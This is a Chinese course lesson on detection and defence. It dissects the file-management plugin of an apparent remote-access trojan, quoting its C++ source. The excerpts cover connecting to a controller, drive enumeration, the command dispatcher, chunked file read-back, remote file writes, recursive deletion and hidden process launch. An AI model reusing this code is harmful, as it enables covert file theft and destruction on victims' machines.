25 / 52 主插件与远程能力

第 25 课:主插件:文件管理

# 第 25 课:主插件:文件管理

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课定位:防御分析、源码阅读、文件操作风险识别和企业检测工程。
本课只讲文件管理插件的结构、数据流、风险面和检测思路,不提供未授权文件访问、删除、加密、隐藏执行或数据外传的操作步骤。

第 24 课讲的是系统管理模块,它偏向“看系统里有什么”:进程、窗口、网络连接、服务、计划任务、hosts 等。本课进入另一个更贴近数据安全的模块:主插件\文件管理

文件管理模块做的事情更直接:列目录、传文件、创建目录、删除文件、重命名、搜索、查看最近访问和网络邻居、压缩,以及若干高风险文件操作。对企业安全来说,这类模块非常敏感,因为它直接触碰终端上的业务数据、配置文件、凭据材料、日志和备份。

本课主线如下:

文件管理插件入口
  -> 创建 CTcpSocket / CUdpSocket
  -> 连接主控端
  -> 创建 CFileManager
  -> 构造函数发送磁盘列表
  -> OnReceive 按命令分发
  -> 调用 Win32 文件系统 API
  -> 打包 TOKEN_* 结果回传
  -> 企业侧关联进程、路径、文件动作、网络会话和数据风险
1
2
3
4
5
6
7
8
9

# 1. 本课学习目标

学完本课,你应该能回答这些问题:

问题 本课回答
文件管理插件在工程中处于什么位置 它是一个独立主插件,通过网络通道接收命令,并由 CFileManager 执行文件相关逻辑
为什么 OnReceive 是阅读入口 所有文件命令都先进入 CFileManager::OnReceive,再分发到目录、传输、删除、搜索、压缩等函数
为什么源码里“UploadToRemote”容易误解 站在被控端代码视角是“向远端上传”,站在主控界面视角常表现为“下载文件”
文件传输为什么需要偏移量 源码用高低 32 位保存文件大小和偏移,支持分块传输和续传模式
哪些实现是高风险信号 删除目录、隐藏打开、压缩、加密/解密、批量搜索、访问最近访问和网络邻居
企业侧应该检测什么 进程、文件 API、敏感路径、分块网络回传、压缩包生成、批量读取和删除行为

# 2. 本课涉及源码目录和文件

文件 作用
主插件\文件管理\文件管理.sln 文件管理插件解决方案
主插件\文件管理\文件管理\文件管理.cpp 插件入口、连接选择、创建 CFileManager
主插件\文件管理\文件管理\FileManager.h 命令字、返回 token、传输结构、CFileManager 类声明
主插件\文件管理\文件管理\FileManager.cpp 文件管理核心实现
主插件\文件管理\文件管理\MasterEncoder.h/.cpp 模块内部使用的编码辅助逻辑
主插件\文件管理\文件管理\zip.h/.cpp ZIP 压缩相关辅助实现

2. 本课涉及源码目录和文件(配图)

从结构上看,文件管理.cpp 只负责“把插件跑起来”。真正的文件操作集中在 CFileManager 里。新手阅读时不要从每一个函数散着看,先抓住三个入口:

阅读入口 你要看什么
文件管理.cpp::MainThread 插件如何创建 socket,如何创建 CFileManager
CFileManager::CFileManager 模块初始化了哪些状态,为什么一创建就发送磁盘列表
CFileManager::OnReceive 每个命令字对应哪个文件操作函数

# 3. 插件入口:连接后创建 CFileManager

文件管理插件和前面几课讲过的主插件模式一致:定义一份 plugInfo,根据 IsTcp 选择 TCP 或 UDP,连接成功后创建管理器对象并进入事件循环。

// 源码位置:主插件\文件管理\文件管理\文件管理.cpp:7-43
// 防御分析注释:
// 1. 这是文件管理插件入口,只负责读取连接配置、建立 socket、创建 CFileManager。
// 2. plugInfo 保存远端地址、端口、协议类型和入口运行方式,可理解为“插件上线参数”。
// 3. MainThread 连接成功后创建 CFileManager,后续文件命令都交给 CFileManager::OnReceive。
// 4. 企业侧排查时,不能只看进程名,还要看长连接、端口、加载路径和文件 API 行为链。
struct plugInfo
{
    char mark[30];          // 配置定位标记,常用于在二进制中寻找配置块。
    TCHAR szAddress[255];   // 远端地址;要和进程外联、DNS、代理日志一起关联。
    DWORD szPort;           // 远端端口;端口本身不代表风险,关键是连接后的文件能力。
    BOOL IsTcp;             // 通信协议选择;同一文件能力可以跑在 TCP 或 UDP 通道上。
    BOOL RunDllEntryProc;   // DLL 入口运行模式标志;影响插件退出时是否结束进程。
} MyInfo = { "plugmark", _T("127.0.0.1"), 6666, 1, 0 };

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;

    // 触发点 1:根据配置创建通信对象。
    // 防御侧不要只依赖固定协议识别文件管理行为。
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    // 触发点 2:连接成功后创建 CFileManager。
    // CFileManager 构造函数会主动发送磁盘列表,所以文件枚举可能紧跟连接出现。
    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CFileManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

这段代码的重点不是“怎么连接”,而是插件边界:一旦 CFileManager 被创建,模块就进入文件管理状态。它不只是被动等待命令,构造函数里还会立即发送磁盘列表。

# 4. 命令面总览:先看能做什么

4. 命令面总览:先看能做什么(配图)

FileManager.h 里定义了大量命令和 token。它们可以分成五类:

分类 代表命令 防御视角
目录浏览 COMMAND_LIST_FILESTOKEN_FILE_LIST 关注敏感目录枚举、短时间内多目录遍历
文件传输 COMMAND_DOWN_FILESCOMMAND_FILE_SIZECOMMAND_FILE_DATACOMMAND_CONTINUE 关注大文件读取、分块回传、异常网络长连接
文件修改 删除、创建、重命名、复制、粘贴 关注破坏性操作、批量改名、覆盖写入
搜索与特殊目录 搜索、Recent、NetHood、快捷方式解析 关注数据发现行为和业务路径探测
压缩与高风险操作 压缩、加密、解密、隐藏打开 关注压缩包、异常加密行为和隐藏进程
// 源码位置:主插件\文件管理\文件管理\FileManager.h:12-85
// 防御分析注释:
// 1. 这些枚举值是文件管理模块的“命令面”,也是阅读 OnReceive 的地图。
// 2. COMMAND_* 多数来自主控端请求;TOKEN_* 多数是插件回传状态或数据。
// 3. 同一个文件动作可能被拆成多个命令,例如文件传输会经历大小查询、继续请求、数据回传。
// 4. 删除、加密、压缩、隐藏打开等命令属于高风险行为,应作为检测重点。
enum
{
    // ===== 目录浏览:读取路径、枚举文件和目录 =====
    COMMAND_LIST_FILES,

    // ===== 破坏性文件动作:删除文件或目录 =====
    COMMAND_DELETE_FILE,
    COMMAND_DELETE_DIRECTORY,

    // ===== 文件读取/回传:从被控端视角是上传到远端,从主控界面看常叫下载 =====
    COMMAND_DOWN_FILES,
    COMMAND_CONTINUE,

    // ===== 文件系统变更:创建目录、重命名、停止任务、设置传输模式 =====
    COMMAND_CREATE_FOLDER,
    COMMAND_RENAME_FILE,
    COMMAND_STOP,
    COMMAND_SET_TRANSFER_MODE,

    // ===== 文件写入:远端先发送文件大小,再分块发送文件数据 =====
    COMMAND_FILE_SIZE,
    COMMAND_FILE_DATA,

    // ===== 打开文件:显示打开或隐藏打开,隐藏打开风险更高 =====
    COMMAND_OPEN_FILE_SHOW,
    COMMAND_OPEN_FILE_HIDE,

    // ===== 压缩、搜索、特殊目录和扩展动作 =====
    COMMAND_COMPRESS_FILE_PARAM,
    COMMAND_FILES_SEARCH_STOP,
    COMMAND_SEARCH_FILE,
    COMMAND_FILE_GETNETHOOD,
    COMMAND_FILE_RECENT,
    COMMAND_FILE_INFO,
    COMMAND_FILE_Encryption,
    COMMAND_FILE_Decrypt,
    COMMAND_FILE_CopyFile,
    COMMAND_FILE_PasteFile,
    COMMAND_FILE_zip,
    COMMAND_FILE_zip_stop,

    // ===== 回包 token:告诉主控端当前返回的是列表、数据、状态还是完成信号 =====
    TOKEN_SEARCH_FILE_LIST,
    TOKEN_SEARCH_FILE_FINISH,
    TOKEN_FILE_LIST,
    TOKEN_FILE_SIZE,
    TOKEN_FILE_DATA,
    TOKEN_TRANSFER_FINISH,
    TOKEN_GET_TRANSFER_MODE,
    TOKEN_CREATEFOLDER_FINISH,
    TOKEN_RENAME_FINISH,
    TOKEN_COMPRESS_FINISH,
    TOKEN_DELETE_FINISH,
    TOKEN_DATA_CONTINUE,
    TOKEN_FILE_GETNETHOOD,
    TOKEN_FILE_RECENT,
    TOKEN_FILE_INFO,
    TOKEN_FILE_REFRESH,
    TOKEN_FILE_ZIPOK,

    TRANSFER_MODE_CANCEL = 100,
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

这里要建立一个阅读习惯:看到一个 COMMAND_*,就去 OnReceive 里找它被分发到哪里;看到一个 TOKEN_*,就去找哪个函数调用了 SendSendToken

# 5. 关键结构:FILESIZE、FILESEARCH 和 CFileManager 状态

文件传输和搜索不是一次性完成的,所以模块内部要保存状态。FILESIZE 用来描述文件大小和错误状态,FILESEARCH 用来描述搜索参数,CFileManager 保存当前文件句柄、传输模式和任务队列。

// 源码位置:主插件\文件管理\文件管理\FileManager.h:93-106
// 防御分析注释:
// 1. FILESIZE 把 64 位文件长度拆成高低两个 DWORD,适配老式 Win32 代码风格。
// 2. 同一结构也被用作续传偏移,因此它不仅表示“文件总大小”,也可能表示“读写位置”。
// 3. error 字段表示打开文件是否成功,失败访问同样有检测价值,尤其是敏感路径探测。
// 4. FILESEARCH 表示搜索关键词、搜索起点和是否递归子目录,是判断数据发现意图的关键输入。
typedef struct
{
    DWORD dwSizeHigh; // 文件大小或偏移量的高 32 位。
    DWORD dwSizeLow;  // 文件大小或偏移量的低 32 位。
    BOOL  error;      // 打开/读取状态;失败不等于无风险,可能是权限探测。
} FILESIZE;

typedef struct
{
    TCHAR SearchFileName[MAX_PATH]; // 搜索关键词或文件名片段,可能暴露数据发现目标。
    TCHAR SearchPath[MAX_PATH];     // 搜索起点,建议在合法工具中做路径授权。
    BOOL bEnabledSubfolder;         // 是否递归子目录;递归搜索会显著扩大数据暴露面。
} FILESEARCH;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 源码位置:主插件\文件管理\文件管理\FileManager.h:147-184
// 防御分析注释:
// 1. m_UploadList 是待传输文件列表,目录传输会递归展开成多个文件。
// 2. m_hFileSend 和 m_hFileRecv 分别保存读文件和写文件句柄,代表本模块同时具备读取和写入能力。
// 3. m_nTransferMode 控制覆盖、续传、跳过等模式,直接影响远端文件写入结果。
// 4. 这些状态都由网络命令驱动变化,审计时要记录命令、路径、偏移、大小和结果 token。
class CFileManager : public CManager
{
public:
    void OnReceive(LPBYTE lpBuffer, UINT nSize);
    UINT SendDriveList();
    CFileManager(ISocketBase* pClient);
    virtual ~CFileManager();

private:
    LPBYTE lpSendPacket;          // 发送缓冲区,TOKEN_FILE_DATA 等数据包会写入这里。
    list <wstring> m_UploadList;  // 待读取并回传的文件队列;目录会被展开为多个文件。
    BOOL m_bIsWow64;              // 当前进程是否运行在 WoW64 下,影响 system32/sysnative 访问。
    UINT m_nTransferMode;         // 写入冲突处理方式:覆盖、续传、跳过等。
    HANDLE m_hFileSend;           // 读取本地文件时使用的句柄。
    HANDLE m_hFileRecv;           // 接收远端数据并写入本地文件时使用的句柄。
    TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在传输或写入的文件路径。
    __int64 m_nCurrentProcessFileLength;         // 当前文件长度,用于进度和完成判断。

    bool UploadToRemote(LPBYTE lpBuffer);
    bool FixedUploadList(LPCTSTR lpszDirectory);
    void StopTransfer(BOOL bIsUpload);
    UINT SendFilesList(TCHAR* lpszDirectory);
    bool DeleteDirectory(LPCTSTR lpszDirectory);
    UINT SendFileSize(LPCTSTR lpszFileName);
    void SendFileData(LPBYTE lpBuffer);
    void CreateLocalRecvFile(LPBYTE lpBuffer);
    void SetTransferMode(LPBYTE lpBuffer);
    void GetFileData();
    void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

对新手来说,这些成员变量比函数名更能说明模块行为:它既能读文件,也能写文件;既能处理单文件,也能处理目录递归;既能列表,也能修改。

# 6. 构造函数:为什么一创建就发送磁盘列表

CFileManager 构造函数做了几件事:

  1. 设置编码辅助逻辑。
  2. 创建或打开一个以 BotId 命名的桌面对象。
  3. 分配发送缓冲区。
  4. 检测当前进程是否处于 WoW64。
  5. 初始化文件句柄、传输模式、搜索和压缩线程状态。
  6. 调用 SendDriveList() 发送磁盘列表。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:28-57
// 防御分析注释:
// 1. 构造函数是连接成功后的第一个文件管理触发点。
// 2. OpenDesktop/CreateDesktop 和 SetThreadDesktop 会改变线程桌面上下文,便于后续访问用户桌面相关对象。
// 3. IsWow64Process 影响后续文件系统重定向处理,尤其是 32 位进程访问 system32 时。
// 4. SendDriveList 在构造阶段立即发送磁盘信息,说明连接建立后会主动暴露文件系统视图。
CFileManager::CFileManager(ISocketBase* pClient) : CManager(pClient)
{
    const char* sign = "master";

    // 设置模块内部编码标识。检测时可把固定签名作为弱特征,但不能只依赖它。
    MasterEncoder::getInstance()->setSignAndKey((char*)sign, (int)strlen(sign), 100);

    memset(g_desktopName, 0, sizeof(g_desktopName));
    GetBotId(g_desktopName);

    // 根据 BotId 打开或创建桌面对象。
    // 这不是普通文件操作,但解释了为什么文件管理插件也会碰到桌面相关 API。
    g_hDesk = OpenDesktop(g_desktopName, 0, TRUE, GENERIC_ALL);
    if (!g_hDesk)
        g_hDesk = CreateDesktop(g_desktopName, NULL, NULL, 0, GENERIC_ALL, NULL);
    SetThreadDesktop(g_hDesk);

    // 初始化发送缓冲区和传输状态。
    lpSendPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
    m_bIsWow64 = FALSE;
    IsWow64Process(GetCurrentProcess(), &m_bIsWow64);
    m_hFileSend = INVALID_HANDLE_VALUE;
    m_hFileRecv = INVALID_HANDLE_VALUE;
    m_nTransferMode = TRANSFER_MODE_NORMAL;
    bIsStopSearch = FALSE;
    bIsStopZIP = FALSE;

    // 主动发送盘符和桌面路径。
    // 防御侧可把“连接后立即盘符枚举”作为文件管理能力的早期信号。
    SendDriveList();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

这也解释了企业检测里的一个细节:文件管理插件不一定等到用户点开某个目录才有行为。创建对象时就可能出现磁盘枚举和桌面路径读取。

# 7. 磁盘列表:SendDriveList

SendDriveList 会枚举逻辑驱动器、文件系统类型、磁盘类型、容量和剩余空间,还会尝试获取桌面目录。

// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:554-624
// 防御分析注释:
// 1. SendDriveList 是构造函数里的主动动作,不需要主控再发送目录浏览命令。
// 2. GetLogicalDriveStrings 是磁盘枚举入口。
// 3. GetVolumeInformation、GetDriveType、GetDiskFreeSpaceEx 用于补充文件系统类型、磁盘类型和容量。
// 4. SHGetFolderPath 读取桌面路径,能帮助主控端快速定位用户文件区域。
// 5. 如果异常进程在连接建立后立即枚举全部盘符,应作为文件管理能力信号。
UINT CFileManager::SendDriveList()
{
    TCHAR DriveString[256];
    BYTE  DriveList[2048];
    TCHAR FileSystem[MAX_PATH];
    TCHAR* pDrive = NULL;

    DriveList[0] = TOKEN_DRIVE_LIST;

    // 读取所有逻辑盘符,例如 C:\、D:\、网络映射盘等。
    GetLogicalDriveStrings(sizeof(DriveString), DriveString);
    pDrive = DriveString;

    // 把桌面路径也放进回包,主控端可以直接展示用户常用文件入口。
    // 这类路径属于敏感上下文,合法产品应避免无授权暴露。
    SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY, hTokenAcsi,
                    SHGFP_TYPE_CURRENT, (TCHAR*)&DriveList[2]);

    for (DWORD dwOffset = 1 + 1 + (lstrlen((TCHAR*)&DriveList[2]) + 1) * sizeof(TCHAR);
         *pDrive != _T('\0');
         pDrive += lstrlen(pDrive) + 1)
    {
        // 逐个盘符采集文件系统类型、容量和剩余空间。
        // 容量信息可用于判断是否有大量数据可读取或回传。
        GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
        GetDiskFreeSpaceEx(pDrive,
                           (PULARGE_INTEGER)&HDFreeSpace,
                           (PULARGE_INTEGER)&HDAmount,
                           NULL);
        DriveList[dwOffset] = ((BYTE*)(pDrive))[0];
        DriveList[dwOffset + 2] = GetDriveType(pDrive);
    }

    return Send((LPBYTE)DriveList, dwOffset);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

从防御角度看,磁盘列表本身不是破坏行为,但它是数据发现链条的第一步。文件读取、压缩或回传之前,经常先出现盘符、桌面、文档目录和磁盘容量枚举。

# 8. OnReceive:文件管理模块的总分发器

OnReceive 是本课最重要的函数。它读取命令包第一个字节,并进入对应分支。

// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:75-216
// 防御分析注释:
// 1. lpBuffer[0] 是命令字,决定后续执行哪类文件操作。
// 2. 除了命令字,lpBuffer + 1 往往就是路径、文件名、偏移或参数,属于外部输入。
// 3. Wow64DisableWow64FsRedirection 会影响 32 位进程访问 64 位系统目录时的路径视图。
// 4. 删除、隐藏打开、加密、压缩等分支应被视为高风险分支。
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    // 心跳包不代表文件操作,直接忽略。
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;

    if (m_bIsWow64)
    {
        // 动态解析 Wow64DisableWow64FsRedirection。
        // 防御侧可关注 32 位进程访问 system32 等路径时是否有重定向绕开行为。
    }

    switch (lpBuffer[0])
    {
    case COMMAND_LIST_FILES:
        // 目录枚举:lpBuffer + 1 是主控传入的目录路径。
        // 防御侧要记录路径是否落在用户文档、共享盘、配置目录等敏感区域。
        SendFilesList((TCHAR*)(lpBuffer + 1));
        break;
    case COMMAND_DELETE_FILE:
        // 删除单文件:路径直接来自命令包。
        // 合法工具应做路径授权、二次确认和操作留痕。
        DeleteFile((TCHAR*)(lpBuffer + 1));
        SendToken(TOKEN_DELETE_FINISH);
        break;
    case COMMAND_DELETE_DIRECTORY:
        // 递归删除目录:破坏性更强,尤其是业务目录、备份目录、共享目录。
        DeleteDirectory((TCHAR*)(lpBuffer + 1));
        SendToken(TOKEN_DELETE_FINISH);
        break;
    case COMMAND_DOWN_FILES:
        // 从被控端视角:把本地文件发送给远端。
        // 从主控界面视角:常表现为“下载远端文件”。
        UploadToRemote(lpBuffer + 1);
        break;
    case COMMAND_CONTINUE:
        // 续传/继续读取:lpBuffer + 1 携带 FILESIZE 结构,表示本次读取偏移。
        SendFileData(lpBuffer + 1);
        break;
    case COMMAND_CREATE_FOLDER:
        // 创建目录:同样需要路径边界和授权控制。
        CreateFolder(lpBuffer + 1);
        break;
    case COMMAND_RENAME_FILE:
        // 重命名:命令包内通常包含旧路径和新路径,适合记录为文件变更事件。
        Rename(lpBuffer + 1);
        break;
    case COMMAND_FILE_SIZE:
        // 写入文件前置阶段:先接收文件大小和目标路径,再决定覆盖/续传/跳过。
        CreateLocalRecvFile(lpBuffer + 1);
        break;
    case COMMAND_FILE_DATA:
        // 写入文件数据阶段:按偏移把收到的数据写入本地文件。
        WriteLocalRecvFile(lpBuffer + 1, nSize - 1);
        break;
    case COMMAND_OPEN_FILE_HIDE:
        // 隐藏打开:会创建新进程但不显示窗口。
        // 文件管理动作伴随隐藏进程创建时,应提升告警等级。
        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL,
                      &startupInfo, &processInfo);
        break;
    case COMMAND_COMPRESS_FILE_PARAM:
        // 压缩:外部压缩工具或内置 ZIP 逻辑都可能形成数据打包行为。
        ExeCompress(lpBuffer + 1);
        break;
    case COMMAND_SEARCH_FILE:
        // 搜索:FILESEARCH 结构携带关键词、起始目录和是否递归。
        SendSearchFilesList((TCHAR*)(lpBuffer + 1));
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

注意这里的 COMMAND_DOWN_FILES:从被控端代码角度看,函数名是 UploadToRemote,表示“把本地文件发给远端”;但从主控界面用户角度看,这常被称为“下载远端文件”。学习源码时要始终先问:这个函数名是站在哪一端命名的?

# 9. 目录列表流程:SendFilesList

9. 目录列表流程:SendFilesList(配图)

SendFilesList 接收一个目录路径,然后拼接 *.*,用 FindFirstFile/FindNextFile 枚举条目,最后打包为 TOKEN_FILE_LIST 发回。

// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:627-705
// 防御分析注释:
// 1. lpszDirectory 来自网络命令包,代表外部输入路径。
// 2. 函数没有在插件侧做路径白名单,合法产品应在这里加入授权和规范化。
// 3. FindFirstFile/FindNextFile 是目录枚举行为的核心 API。
// 4. 回包包含文件属性、文件名、文件大小和最后写入时间。
// 5. 企业侧可关注敏感目录短时间连续枚举,如用户文档、配置目录和备份目录。
UINT CFileManager::SendFilesList(TCHAR* lpszDirectory)
{
    m_nTransferMode = TRANSFER_MODE_NORMAL;

    TCHAR strPath[MAX_PATH];
    WIN32_FIND_DATA FindFileData;

    if (lpszDirectory[lstrlen(lpszDirectory) - 1] != '\\')
        lpszSlash = _T("\\");
    else
        lpszSlash = _T("");

    // 将目录路径拼接成通配符查询。
    // 这里的路径来自远端命令,真实工程应先做 Normalize + AllowList 检查。
    wsprintf(strPath, _T("%s%s*.*"), lpszDirectory, lpszSlash);
    hFile = FindFirstFile(strPath, &FindFileData);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        // 打不开目录时仍返回 TOKEN_FILE_LIST,主控端据此刷新为空列表。
        // 检测侧应记录失败路径,连续失败常代表敏感目录探测。
        BYTE bToken = TOKEN_FILE_LIST;
        return Send(&bToken, 1);
    }

    lpList = (BYTE*)LocalAlloc(LPTR, nBufferSize);
    *lpList = TOKEN_FILE_LIST;

    do
    {
        pszFileName = FindFileData.cFileName;
        if (_tcscmp(pszFileName, _T(".")) == 0 ||
            _tcscmp(pszFileName, _T("..")) == 0)
            continue;

        // 字段 1:目录标志。主控端用它决定显示文件夹图标还是文件图标。
        *(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;

        // 字段 2:文件名。这里通常不含完整路径,完整路径由当前目录上下文拼出。
        memcpy(lpList + dwOffset, pszFileName, nLen);

        // 字段 3:文件大小高低位。目录项也会携带该字段,但目录大小通常无实际意义。
        memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
        memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));

        // 字段 4:最后写入时间。可用于企业侧还原文件变更时间线。
        memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
    } while (FindNextFile(hFile, &FindFileData));

    return Send(lpList, dwOffset);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

这段代码没有做路径白名单,也没有把“哪些目录允许看”放在插件侧控制。合法远程运维产品通常需要角色授权、路径授权、操作留痕和敏感目录保护,而不是只按网络命令执行。

# 10. 文件传输生命周期

10. 文件传输生命周期(配图)

源码里的文件读取是分块完成的。大致流程是:

  1. 主控端发出文件读取命令。
  2. 被控端打开文件,回传大小和状态。
  3. 主控端根据偏移继续请求数据。
  4. 被控端从指定偏移读取一块数据并回传。
  5. 重复直到文件结束。
  6. 发送传输结束 token。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:878-899
// 防御分析注释:
// 1. UploadToRemote 是站在被控端视角命名:把本地文件发送到远端。
// 2. 触发命令是 COMMAND_DOWN_FILES,lpBuffer 是要读取的文件或目录路径。
// 3. 如果目标是目录,会调用 FixedUploadList 递归展开文件列表。
// 4. 批量文件读取 + 长连接分块回传,是数据安全检测的重要组合信号。
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
    // 以反斜杠结尾时按目录处理。
    // 目录读取会递归收集文件,风险面明显大于单文件读取。
    if (lpBuffer[lstrlen((TCHAR*)lpBuffer) * sizeof(TCHAR) - sizeof(TCHAR)] == _T('\\'))
    {
        FixedUploadList((TCHAR*)lpBuffer);
        if (m_UploadList.empty())
        {
            StopTransfer(TRUE);
            return true;
        }
    }
    else
    {
        // 单文件读取:直接加入待传输队列。
        m_UploadList.push_back((TCHAR*)lpBuffer);
    }

    // 先发送第一个文件的大小,后续主控端再按偏移请求数据块。
    list <wstring>::iterator it = m_UploadList.begin();
    SendFileSize((*it).c_str());
    return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:764-802
// 防御分析注释:
// 1. SendFileSize 是文件读取链路的第一步,用于告诉主控端文件大小和打开状态。
// 2. CreateFile 以 GENERIC_READ 打开目标文件。
// 3. TOKEN_FILE_SIZE 回传文件大小和打开是否成功。
// 4. 访问失败也有检测价值,尤其是连续探测受保护目录或凭据相关路径。
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
    // 保存当前文件名,后续 SendFileData 会继续使用同一个文件句柄和偏移。
    memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
    _tcscpy_s(m_strCurrentProcessFileName, lpszFileName);

    // 打开目标文件用于读取。
    // FILE_SHARE_READ 允许其他读者同时读取,但不允许写共享,仍可能影响业务程序。
    m_hFileSend = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ,
                             NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

    // 获取 64 位文件大小。dwSizeLow/dwSizeHigh 会写入 FILESIZE。
    dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh);

    bPacket[0] = TOKEN_FILE_SIZE;
    FILESIZE* pFileSize = (FILESIZE*)(bPacket + 1);
    pFileSize->dwSizeHigh = dwSizeHigh;
    pFileSize->dwSizeLow = dwSizeLow;
    pFileSize->error = error;

    return Send(bPacket, nPacketSize);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:805-847
// 防御分析注释:
// 1. COMMAND_CONTINUE 携带偏移,SendFileData 从指定偏移继续读。
// 2. TOKEN_FILE_DATA 是实际数据回传包。
// 3. 文件读取 API 与网络发送 API 在同一进程内连续出现时,应做关联分析。
// 4. 这类分块回传可能绕过只看单包大小的网络检测,需要按会话累计。
void CFileManager::SendFileData(LPBYTE lpBuffer)
{
    // pFileSize 在这里表示“本次读取起点”,不是文件总大小。
    FILESIZE* pFileSize = (FILESIZE*)lpBuffer;

    // 按主控端给出的偏移定位文件指针,实现断点续传或分块读取。
    SetFilePointer(m_hFileSend,
                   pFileSize->dwSizeLow,
                   (long*)&(pFileSize->dwSizeHigh),
                   FILE_BEGIN);

    // 回包首字节标识为文件数据。
    lpSendPacket[0] = TOKEN_FILE_DATA;
    memcpy(lpSendPacket + 1, pFileSize, sizeof(FILESIZE));

    // 从文件中读取一块,大小受 MAX_SEND_BUFFER 限制。
    ReadFile(m_hFileSend, lpSendPacket + 9,
             MAX_SEND_BUFFER - 9, &nNumberOfBytesRead, NULL);

    if (nNumberOfBytesRead > 0)
        Send(lpSendPacket, nPacketSize);
    else
        UploadNext();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 11. 写入文件:CreateLocalRecvFile 与 WriteLocalRecvFile

文件管理不只读取,也支持写入。CreateLocalRecvFile 根据文件大小和路径创建本地接收文件;GetFileData 根据传输模式决定覆盖、续传或跳过;WriteLocalRecvFile 把收到的数据写入本地文件。

// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:960-1069
// 防御分析注释:
// 1. CreateLocalRecvFile 是远端向本机写文件的前置阶段。
// 2. m_strCurrentProcessFileName 来自命令包,代表写入目标路径。
// 3. MakeSureDirectoryPathExists 会自动创建多级目录,可能扩大落地范围。
// 4. CREATE_ALWAYS、OPEN_EXISTING、续传偏移会影响覆盖与追加行为。
// 5. 企业侧要关注异常进程向启动目录、系统目录、程序目录和用户配置目录写文件。
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
    FILESIZE* pFileSize = (FILESIZE*)lpBuffer;

    // 命令包布局:前 8 字节是 FILESIZE,后面是目标路径。
    // 真实产品应在写入前检查路径授权、扩展名、文件大小和剩余空间。
    _tcscpy_s(m_strCurrentProcessFileName, (TCHAR*)(lpBuffer + 8));
    m_nCurrentProcessFileLength =
        ((__int64)pFileSize->dwSizeHigh << 32) + pFileSize->dwSizeLow;

    // 自动创建目录会让远端可以投放到尚不存在的路径。
    MakeSureDirectoryPathExists(m_strCurrentProcessFileName);

    // 如果目标文件已存在且没有全局传输策略,就要求主控端选择覆盖/续传/跳过。
    if (hFind != INVALID_HANDLE_VALUE
        && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
        && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
        && m_nTransferMode != TRANSFER_MODE_JUMP_ALL)
        SendToken(TOKEN_GET_TRANSFER_MODE);
    else
        GetFileData();
}

void CFileManager::GetFileData()
{
    // 根据传输模式决定 CreateFile 的打开方式。
